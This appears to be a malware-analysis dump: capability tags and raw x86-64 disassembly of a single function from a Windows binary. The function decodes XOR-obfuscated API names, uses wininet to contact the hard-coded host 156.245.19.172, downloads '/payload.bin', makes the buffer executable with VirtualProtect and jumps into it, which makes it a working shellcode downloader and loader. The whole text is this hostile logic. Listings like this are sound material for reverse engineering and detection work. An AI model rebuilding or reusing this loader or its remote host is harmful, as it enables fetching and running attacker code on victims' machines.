Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x400]
sub rsp, 0x500
mov rax, qword [0x14000b008]
xor rax, rsp
mov qword [rbp + 0x3f0], rax
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x696e6957
mov dword [rbp - 0x1c], 0x2e74656e
mov dword [rbp - 0x18], 0x6c6c64
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edi, edi
mov ecx, 0x100000
mov r14d, edi
mov r12, rax
call fcn.140001460
mov dword [rsp + 0x58], 0xf180523
mov dword [rsp + 0x5c], 0x1f0f0219
mov dword [rsp + 0x60], 0x20e1a23
mov word [rsp + 0x64], 0x2b
mov ecx, edi
mov r15, rax
mov edx, edi
lea r8, [rsp + 0x58]
lea r9d, [rdi + 0xd]
lea rsi, [0x140000000]
nop word [rax + rax]
cmp ecx, 3
jne 0x1400010aa
mov ecx, edi
mov rdx, rdi
movzx eax, byte [rdx + rsi + 0x9510]
inc r8
inc ecx
xor byte [r8 - 1], al
inc rdx
dec r9
jne 0x1400010a0
lea rdx, [rsp + 0x58]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
lea rcx, str.souhu
lea edx, [r9 + 1]
xor r8d, r8d
mov dword [rsp + 0x20], edi
call rax
mov r13, rax
mov qword [rsp + 0x48], rax
test rax, rax
jne 0x1400010fd
xor ecx, ecx
call fcn.1400017c8
int3
mov qword [rsp + 0x530], rbx
mov ebx, 0x10
mov dword [rsp + 0x68], 0x719002b
mov dword [rsp + 0x6c], 0x1a07031c
mov dword [rsp + 0x70], 0x3000d2e
mov dword [rsp + 0x74], 0x23190d07
mov r9d, ebx
mov byte [rsp + 0x78], dil
mov ecx, edi
mov rdx, rdi
lea r8, [rsp + 0x68]
nop dword [rax]
cmp ecx, 3
jne 0x14000114a
mov ecx, edi
mov rdx, rdi
movzx eax, byte [rdx + rsi + 0x951c]
inc r8
inc ecx
xor byte [r8 - 1], al
inc rdx
dec r9
jne 0x140001140
lea rdx, [rsp + 0x68]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], edi
lea rdx, str.156.245.19.172
mov r8d, 0x118
xor r9d, r9d
mov rcx, r13
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rdi
call rax
mov rsi, rax
test rax, rax
jne 0x1400011ac
xor ecx, ecx
call fcn.1400017c8
int3
mov dword [rbp - 0x50], 0x19041b21
mov dword [rbp - 0x4c], 0x10c0020
mov dword [rbp - 0x48], 0x51e0c22
mov dword [rbp - 0x44], 0x28041c0c
mov byte [rbp - 0x40], dil
mov ecx, edi
mov rdx, rdi
lea r8, [rbp - 0x50]
mov r9, rbx
lea r10, [0x140000000]
nop
cmp ecx, 3
jne 0x1400011ea
mov ecx, edi
mov rdx, rdi
movzx eax, byte [rdx + r10 + 0x9530]
inc r8
inc ecx
xor byte [r8 - 1], al
inc rdx
dec r9
jne 0x1400011e0
lea rdx, [rbp - 0x50]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], 0x84000100
lea r8, str._payload.bin
lea rdx, [0x140009548]
xor r9d, r9d
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call rax
xor ecx, ecx
mov rdi, rax
test rax, rax
jne 0x14000124e
call fcn.1400017c8
int3
mov dword [rbp - 0x80], 0x5191e3d
mov dword [rbp - 0x7c], 0xe1b0839
mov dword [rbp - 0x78], 0x181b103f
mov dword [rbp - 0x74], 0x34191910
mov byte [rbp - 0x70], r14b
xor edx, edx
lea r8, [rbp - 0x80]
mov r9, rbx
lea r13, [0x140000000]
nop
cmp ecx, 3
jne 0x140001289
xor ecx, ecx
xor edx, edx
movzx eax, byte [rdx + r13 + 0x954c]
inc r8
inc ecx
xor byte [r8 - 1], al
inc rdx
dec r9
jne 0x140001280
lea rdx, [rbp - 0x80]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x20], r14d
call rax
xor ecx, ecx
test eax, eax
jne 0x1400012ce
call fcn.1400017c8
int3
mov dword [rbp - 0x68], 0x1116093d
mov dword [rbp - 0x64], 0x13110c15
mov dword [rbp - 0x60], 0x6061130
mov dword [rbp - 0x5c], 0x110e0e32
mov byte [rbp - 0x58], r14b
xor edx, edx
lea r8, [rbp - 0x68]
lea r13, [0x140000000]
nop dword [rax + rax]
cmp ecx, 3
jne 0x140001309
xor ecx, ecx
xor edx, edx
movzx eax, byte [rdx + r13 + 0x9550]
inc r8
inc ecx
xor byte [r8 - 1], al
inc rdx
dec rbx
jne 0x140001300
lea rdx, [rbp - 0x68]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x40]
lea rdx, [rbp - 0x10]
mov r8d, 0x400
mov rcx, rdi
mov rbx, rax
call rbx
test eax, eax
je 0x140001387
nop dword [rax + rax]
mov ecx, dword [rsp + 0x40]
test ecx, ecx
je 0x140001387
mov r8d, ecx
mov ecx, r14d
lea rdx, [rbp - 0x10]
add rcx, r15
call fcn.140003f30
add r14d, dword [rsp + 0x40]
lea r9, [rsp + 0x40]
lea rdx, [rbp - 0x10]
mov r8d, 0x400
mov rcx, rdi
call rbx
test eax, eax
jne 0x140001350
xor ecx, ecx
mov dword [rbp - 0x38], 0x120c1d3e
mov dword [rbp - 0x34], 0x7121601
mov dword [rbp - 0x30], 0xb1c1b3b
mov dword [rbp - 0x2c], 0x19193b12
mov dword [rbp - 0x28], 0x121417
lea r9d, [rcx + 0x13]
xor edx, edx
lea r8, [rbp - 0x38]
lea r13, [0x140000000]
nop dword [rax]
cmp ecx, 3
jne 0x1400013c9
xor ecx, ecx
xor edx, edx
movzx eax, byte [rdx + r13 + 0x9554]
inc r8
inc ecx
xor byte [r8 - 1], al
inc rdx
dec r9
jne 0x1400013c0
lea rdx, [rbp - 0x38]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
mov rbx, rax
call rbx
mov rcx, rsi
call rbx
mov rcx, qword [rsp + 0x48]
call rbx
lea r9, [rsp + 0x50]
mov edx, r14d
mov r8d, 0x40
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, r15
call fcn.140001978
xor ecx, ecx
call fcn.1400017c8
int3